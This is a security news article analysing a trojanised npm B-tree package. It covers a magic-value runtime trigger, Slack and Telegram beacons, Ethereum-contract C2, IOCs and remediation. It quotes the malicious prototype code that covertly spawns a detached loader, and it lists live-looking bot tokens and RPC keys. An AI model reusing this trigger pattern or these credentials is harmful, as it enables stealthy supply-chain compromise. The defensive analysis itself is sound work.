The fake B-tree library reached nearly two million weekly downloads by doing nothing at install time and everything once an application actually used it. It pairs a magic-value runtime trigger with an Ethereum smart-contract command-and-control channel that survives domain takedowns.
TL;DR
- The package contains no
preinstall,install, orpostinstallhooks at all, so npm v12’s new lifecycle-script approvals never fire and install-time scanning sees a clean library. - The malware loader is grafted into
BTree.prototype.set(), the library’s hottest code path, and runs only when a live application inserts the key value100while an obfuscated loader file is present on disk. - First-stage reconnaissance goes to hardcoded Slack and Telegram channels. Second-stage payloads are decrypted from ciphertext stored in an Ethereum smart contract on the Sepolia testnet, a C2 channel with no domain to sinkhole and no server to seize.
- Ten packages tied to the operation account for millions of downloads, and the attackers’ wallet holds 109 ETH, roughly €230,933, according to Checkmarx Zero, which published the full technical breakdown on September 17, 2026.
An ongoing npm supply chain campaign built around a package called indexed-btree shows that the ecosystem’s newest defensive wall can be walked around instead of climbed. Checkmarx Zero researchers spotted the package, which impersonates the legitimate sorted-btree library and carries no malicious installation hooks whatsoever. Its loader waits inside BTree.prototype.set(), the core write path of the library, and fires only when a running application hands it a specific key value. By the time the package was disclosed and pulled, it had accumulated close to two million weekly downloads, a number that would be remarkable for a legitimate utility and is alarming for a trojan.
The design confronts npm’s headline security overhaul head-on. In June 2026, GitHub announced that npm would stop executing dependency lifecycle scripts such as preinstall, install, and postinstall unless a project explicitly approves them, and would refuse by default to resolve dependencies from Git repositories or remote URLs. Those defaults, which landed with npm v12 in July 2026, were a response to eighteen brutal months of supply chain incidents, from the self-replicating Shai-Hulud worm to the compromise of axios and the ChainDrop worm that hit hundreds of packages including keyv. The indexed-btree package sidesteps every one of those controls. Installation is silent, no approval prompt appears, and the infection begins only when the victim’s own application calls into the library.
The operation also appears to have been profitable. Checkmarx links the campaign to an Ethereum wallet holding 109 ETH, approximately €230,933 at the time of writing, though the researchers are careful not to attribute those funds to any specific theft. The scale and the patience are not in dispute. Nine companion packages removed from the registry add more than 5.3 million downloads to the campaign’s reach, the same Sepolia contract shows up in earlier malicious packages, and a fabricated GitHub repository with a curated commit history kept the project looking respectable for months.
A counterfeit library with a curated biography
Name squatting is as old as npm itself, but indexed-btree invests in legitimacy the way a well-funded actor would. The genuine sorted-btree package is the published artifact of the qwertie/btree-typescript project, a widely used in-memory B+ tree implementation, and the counterfeit copies its naming, its API surface, and its public development story. A GitHub organization called INDEXED-BTREE hosts a repository with pull-request-style commit messages, semantic version tags, and a maintainer account, charlessadler25, whose profile photo is AI-generated.
The commit history, still public at the time of writing, reads like a healthy maintenance cadence, and it shows how attackers now manufacture trust (Figure 1). The earliest visible commits, dated December 8 to 10, 2025, include “PR50: refactor: Move to parallel arrays for bulk load, leaf creation” (27bf9c3), a “Version 2.1.0” release tag (10b8675), and a test-configuration fix referencing test/shared.ts (3ec9bbd). A March 16, 2026 commit cites pull request 35, “Someone wants BTree available as non-default export,” and carries the v2.1.1 tag (2510ebc). Housekeeping commits followed on June 18, 2026 (“Fix package.json,” 7aff75f; “Update README.md,” 5332c91), along with a documentation update on July 15, 2026 (13e6a4f). The timeline is not decoration. It predates the npm v12 rollout, spans the window in which GitHub was announcing its new install-time controls, and lines up with the affected version range of 2.1.1 through 2.1.3 reported by package intelligence vendor Socket.

The repository has one deliberate omission: it does not contain the malicious code. Checkmarx notes that the actors were “clever enough to not include the malicious code” in the public repository, so a developer who audits the GitHub source before approving a dependency will find a boring, plausible B-tree library and nothing else. The divergence lives only in the tarball published to the npm registry, which ships an extra extended/ directory containing the obfuscated first-stage loader sharedLoad.min.js. Snyk published its advisory on September 7, 2026, four days after disclosure, marking all versions of indexed-btree malicious under CWE-506 with high impact across confidentiality, integrity, and availability. The registry then replaced the listing with a 0.0.1-security holding stub so that fresh installs fail safe.
The trigger: malware hidden in the hottest code path
With no lifecycle script to inspect, the entire payload rests on a handful of lines grafted into the library’s prototype (Figure 2). Checkmarx’s explanation of why this location matters is blunt:
“The malware loader hides inside the library’s own BTree.prototype.set method, which is the main function that every user would call constantly. This triggers the sharedLoad.min.js, which contains the obfuscated first stage of the malware. This is a well-built way to sneak past standard taint-analysis tools and most static scanners.”
BTree.prototype.set = function (key, value, overwrite) { try { const path = require("path"); const fs = require("fs"); const {spawn} = require("child_process"); const loadPath = path.join(__dirname, "extended", "sharedLoad.min.js"); if (fs.existsSync(loadPath) && key == 100) { let child = spawn("node", [loadPath, String(key)], { detached: true, stdio: "ignore", windowsHide: true, }); child.unref(); } } catch(error) {} // ...};
The snippet is short, and nearly every line does a job. The require calls for path, fs, and child_process sit inside the function body rather than at the top of the module, so the package’s import graph, the first artifact many scanners and bundlers inspect, shows nothing more dangerous than a data-structure library. The loader path is built from __dirname, which keeps the payload inside the installed package directory instead of dropping files elsewhere on disk where file-integrity monitoring might notice. The fs.existsSync check works as both a safety switch and an anti-forensic measure. Wherever extended/sharedLoad.min.js is absent, whether because the operators removed it, a pruned install omitted it, or a sandbox stripped it, the trigger falls back silently to ordinary library code.
📬 Stay Ahead of Cyber Threats
Get the latest cybersecurity news, critical vulnerabilities, threat intelligence, tutorials, and exclusive giveaways delivered straight to your inbox. No spam. Unsubscribe anytime.
Subscribe to the Newsletter →The condition itself, key == 100, does more work than it appears to. Loose equality means the string "100" and other numerically coercible values set off the trigger as well, which widens the hit surface in real applications. The magic value also controls detonation: smoke tests and sandbox harnesses that insert a handful of keys never reach 100, while production workloads that index identifiers, scores, or timestamps cross it routinely. Because the check lives in BTree.prototype.set, every tree instance in the process inherits it. Prototype patching leaves no per-object clue and needs no separate malicious module that a dependency graph could expose.
When the check passes, the code spawns a fresh Node.js process to run sharedLoad.min.js, passing the trigger key as a command-line argument, and the spawn options favor stealth and survival. detached: true puts the child in its own process group, so on POSIX systems it is orphaned to init when the parent exits, and child.unref() releases the parent’s event loop from any obligation to wait for it. The implant therefore outlives the application that launched it. stdio: "ignore" keeps pipe and console output out of the host application’s logs, and windowsHide: true suppresses the console window that would otherwise flash on Windows desktops and Electron apps. The enclosing try/catch swallows every exception, so even a failed spawn cannot produce an error message that might alert a developer. The host application keeps working perfectly, which is the point: a B-tree that corrupts data gets uninstalled, but a B-tree that behaves flawlessly while a detached node process fingerprints the host in the background gets renewed.
The spawn does leave handles defenders can pull on. A command line reading node .../extended/sharedLoad.min.js 100, a node process reparented to init with no stdio handles, and a child_process.spawn call originating inside a library prototype method are all huntable signals. The last is almost unheard of in legitimate package code.
Stage one: sharedLoad.min.js fingerprints the host and phones home over Slack and Telegram
The spawned loader is heavily obfuscated with string-array encoding and self-checksumming array rotation, techniques that defeat naive string matching and force analysts into dynamic analysis before the payload’s intent becomes visible. Once running, it fingerprints the host, collecting OS architecture, hostname, CPU details, memory, and uptime, and sends that inventory to a hardcoded Slack channel and Telegram chat using bot tokens embedded in the payload. The destinations are deliberate. api.slack.com and api.telegram.org are allowlisted in countless corporate egress proxies, so beacon traffic blends into ordinary SaaS noise, and hardcoded tokens let the operators read results from a phone as easily as from a server. On its own this first stage is reconnaissance rather than destruction. It tells the operators which environments actually executed the package, confirms which targets are worth a second stage, and builds an inventory of potentially useful systems without yet touching credentials.
Stage two: an Ethereum smart contract as takedown-resistant C2
The more consequential half of the design is the command-and-control channel. Instead of resolving a domain, the loader polls a smart contract deployed on the Sepolia Ethereum testnet at address 0xE390863Dac96a7118C71227C2b099B50cF602D31, calling its getter functions and reading state that the operators write through the corresponding setters. Blockchain-based C2 changes the takedown math. There is no server to seize and no domain to sinkhole, and because the network replicates contract state globally, the channel doubles as a resilient pointer that can redirect malware to fresh infrastructure whenever an old address is burned. Checkmarx and other vendors have tracked this pattern for years, from a 2024 campaign that used Ethereum contracts to distribute multi-platform malware, through ReversingLabs’ 2025 findings on contract-borne payloads, to Checkmarx’s ChainVeil operation and Sonatype’s report on DPRK-linked packages retrieving payloads from Ethereum transactions.
Payload delivery is where the cryptography matters. The loader generates its own X25519 keypair, retrieves the operators’ X25519 public key from the contract, and computes an Elliptic-Curve Diffie-Hellman shared secret, which it uses to derive a symmetric AES key. That key decrypts two ciphertext blobs stored in the contract, and the two merged form the malware’s second stage. Defenders should note several properties of this construction. The second stage never touches disk in plaintext until the loader chooses to write it. The on-chain ciphertext looks like ordinary contract storage to anyone without the key. And the hardcoded operator public key, bad013df6eec5d686f4cc8551e0a5c87a0135164bdd1dafb1c75141d1b526702 in SPKI/DER hex, remains a durable attribution anchor even if the contract is abandoned. Using a testnet rather than mainnet keeps the operation cheap and disposable, since Sepolia transactions cost nothing of value and fresh identities are free to mint.
Anti-forensics: a payload that cleans the crime scene
The final documented capability is self-erasure. The malware can delete its own files and strip the trigger code out of the package’s prototype function on disk, restoring the installed library to an apparently benign state. For incident responders, this turns compromise detection into a race. A host scanned after cleanup will show a node_modules tree that hashes clean against the registry, with no loader file and no patched prototype to find. Reliable evidence therefore lives outside the victim host, in registry tarball archives, internal proxy logs, CI artifact stores, npm cache snapshots, and whatever EDR telemetry was captured while the detached process was still alive. It also means a missing extended/ directory in a suspect installation cannot be treated as absolution.
Why npm v12 did not catch this, and what it still gets right
None of this should be read as an indictment of npm v12. The lifecycle-script defaults close the most abused code-execution path in the ecosystem’s history, the mechanism behind Shai-Hulud, the September 2025 chalk and debug compromise that drew a CISA alert, and wave after wave of credential-stealing packages. By requiring explicit approval through npm approve-scripts and npm deny-scripts, and by blocking Git and remote-URL dependencies by default via --allow-git and --allow-remote, npm v12 raises the cost of every install-time attack substantially. What it cannot do is reason about what a package does after require() returns. Checkmarx made exactly this prediction when the defaults were announced, warning that blocking the front door would move malicious behavior from install time to import time and runtime, and later reporting on import-time triggers has borne that out. The approval workflow carries its own risk too: if teams routinely approve every pending script to unblock builds, the allowlist becomes a rubber stamp.
The practical conclusion is that install-time and runtime analysis complement each other, and neither can substitute for the other. A scanner that inspects only package.json scripts will always be blind to a payload living in a prototype method, while behavioral analysis that merely requires a module will miss a trigger tied to a magic key. Closing the gap takes sandboxes that exercise library APIs the way real applications do, inserting keys and iterating ranges at production-like volume, egress telemetry that notices a node process posting to Slack or Telegram, and endpoint detection that treats an orphaned node child process as an anomaly instead of routine build noise.
The wider operation: ten packages, millions of installs, and 109 ETH
indexed-btree was not a lone experiment. Checkmarx identified nine additional packages tied to the same operation, all since removed from the registry, with combined downloads above 5.3 million. Add indexed-btree‘s own peak of nearly two million weekly downloads, with Socket telemetry showing roughly 1.5 million weekly near removal, and the campaign’s footprint approaches the largest npm incidents on record. The same Sepolia contract appeared in an earlier package, mutex-forge, which points to infrastructure that predates the btree-themed wave and may resurface under new names.
Package Reported downloads indexed-btree ~2,000,000 weekly at peak (Socket: ~1.5M weekly near removal) btree-core 1,951,274 btree-leaderboard 493,685 btree-range-store 468,092 ordered-kv-index 448,184 sliding-score-window 448,024 btree-time-index 425,312 priority-slot-queue 402,860 btree-lru-cache 372,185 neighbor-key-map 366,019
The public report does not say whether the 109 ETH balance represents victim funds, laundered proceeds, or operator capital, and that restraint is appropriate. The balance does show that the motive is durable. An operation this well funded can afford fabricated commit histories, AI-generated personas, disposable smart contracts, and months of quiet between infrastructure setup and payload detonation.
Indicators of compromise
The following indicators are drawn from Checkmarx Zero’s publication and should be matched against registry logs, lockfiles, caches, and endpoint telemetry.
Type Indicator Malicious packages indexed-btree (all versions; affected publishes 2.1.1 to 2.1.3), ordered-kv-index, btree-leaderboard, priority-slot-queue, btree-range-store, btree-core, btree-time-index, btree-lru-cache, neighbor-key-map, sliding-score-window; mutex-forge (historical, same contract) Loader path <package-dir>/extended/sharedLoad.min.jsRuntime trigger BTree.prototype.set invoked with key == 100; node child process with sharedLoad.min.js in its command lineSepolia C2 contract 0xE390863Dac96a7118C71227C2b099B50cF602D31RPC endpoints https://eth-sepolia.g.alchemy.com/v2/D2-TbkB2m05WXSnSDOCDI, https://sepolia.infura.io/v3/dc7257d09fab42eca2c354c32fec1938Telegram exfiltration Bot token 8961878831:AAG4WTbRUcbXI5UCaN4VXK8k57ghqqkg_qI, chat ID -1003952553968Slack exfiltration Bot token xoxb-11307403103236-11289767127959-U58yt3zLurAvVoZOf0OBtxCW, channel C0B8XPGCKQSOperator X25519 public key bad013df6eec5d686f4cc8551e0a5c87a0135164bdd1dafb1c75141d1b526702 (SPKI/DER hex)Web infrastructure github.com/INDEXED-BTREE/indexed-btree; maintainer account charlessadler25
Behavioral hunting should complement static matching. Look for node processes spawning detached node children with ignored stdio, command lines containing sharedLoad.min.js, outbound HTTPS to Slack or Telegram APIs originating from developer machines or build agents rather than from approved SaaS clients, and JSON-RPC traffic toward Sepolia endpoints from hosts that have no blockchain workload. Any one of these on a CI runner is close to conclusive. On a developer laptop, it warrants an immediate investigation.
Remediation: what to do if you installed any of these packages
- Inventory beyond
npm audit. Grep lockfiles (package-lock.json,yarn.lock,pnpm-lock.yaml), SBOMs, internal registry mirrors, CI caches, and Docker layer caches for all ten package names, because audit tooling alone will not flag a package whose registry listing has already been swapped for a security holding stub in every mirror you query. - Quarantine before you clean. Treat any host that executed an affected version as compromised, and preserve
node_modules, npm cache snapshots, and shell history as evidence before deletion, since the malware’s self-cleanup can otherwise destroy the only artifacts proving exposure. - Rebuild from a known-good state. Remove the dependency and every transitive path that leads to it, invalidate shared caches, and reinstall from a validated lockfile. Never reuse a
node_modulesdirectory or internal artifact cache that may retain the poisoned tarball. - Rotate everything the process could read. Prioritize by reach: npm and registry tokens, GitHub, GitLab, and Azure DevOps credentials, cloud-provider keys, CI secret stores,
.npmrccontents, environment variables, and OS credential manager entries available to the user or runner that executed the code. - Audit for follow-on activity. Review source-control audit logs, npm publish history, cloud IAM events, and newly created or modified CI workflows across the exposure window, because the reconnaissance beacon handed the operators a targeting list of your environments.
- Hunt the behavioral traces. Search EDR telemetry for orphaned node processes,
sharedLoad.min.jscommand lines, Slack and Telegram egress from build infrastructure, and Sepolia RPC connections, correlating against the compromise window. - Restore where doubt remains. For environments with confirmed second-stage detonation, restore from backups predating first exposure, since the full capability set of the decrypted second stage has not been publicly enumerated and partial cleanup cannot be verified.
The attack moved to runtime
The arc of this campaign will be familiar to anyone who has tracked the ecosystem. Ethereum-contract C2 appeared in supply chain attacks as early as 2024, wormable install-script malware peaked with Shai-Hulud and ChainDrop in 2025 and 2026, and npm v12 closed the install-time door in July 2026. Attackers responded by moving the payload to the one place a package manager cannot police: the code that runs when your application runs. Defenders should respond in kind. Diff published tarballs against repository tags instead of trusting a clean GitHub page, enforce private registry allowlists with provenance attestations, apply egress filtering that makes Slack and Telegram beaconing visible, and deploy runtime behavioral analysis that exercises libraries the way production does.
npm’s new defaults worked exactly as designed against indexed-btree. The attackers simply moved to a layer those defaults were never meant to govern. A package manager can decide what runs at install time, but what keeps running afterward is up to you.
Frequently asked questions
Is sorted-btree safe to use? All public reporting indicates the legitimate sorted-btree library, published from the qwertie/btree-typescript project, is unrelated to this campaign and unaffected by it. Verify the exact package name character by character before installing, and check registry advisories, because the attack relied on name similarity instead of compromising the real project.
Did indexed-btree execute code when I installed it? No. The package ships no lifecycle scripts, so installation alone is inert. Detonation requires a running application to call BTree.prototype.set with the magic key value while the extended/sharedLoad.min.js loader file is present in the installed package.
Why didn’t npm v12 block it? npm v12 governs install-time behavior: lifecycle script execution, Git dependencies, and remote-URL dependencies. Malicious logic embedded in a package’s runtime code executes under the host application’s own process, entirely outside the scope of install-time approvals.
How do I check whether my organization ever pulled these packages? Search lockfiles, SBOMs, internal registry and proxy logs, CI caches, and container layer caches for all ten package names and for the loader path extended/sharedLoad.min.js, then correlate any hits with the IOC table above and the exposure window running from late 2025 through September 2026.
What makes blockchain-based C2 dangerous? A smart contract has no domain to sinkhole and no server to seize, its state is replicated globally, and it can act as a pointer that redirects malware to new infrastructure after takedowns, which is why this technique has recurred from 2024 through the current campaign.









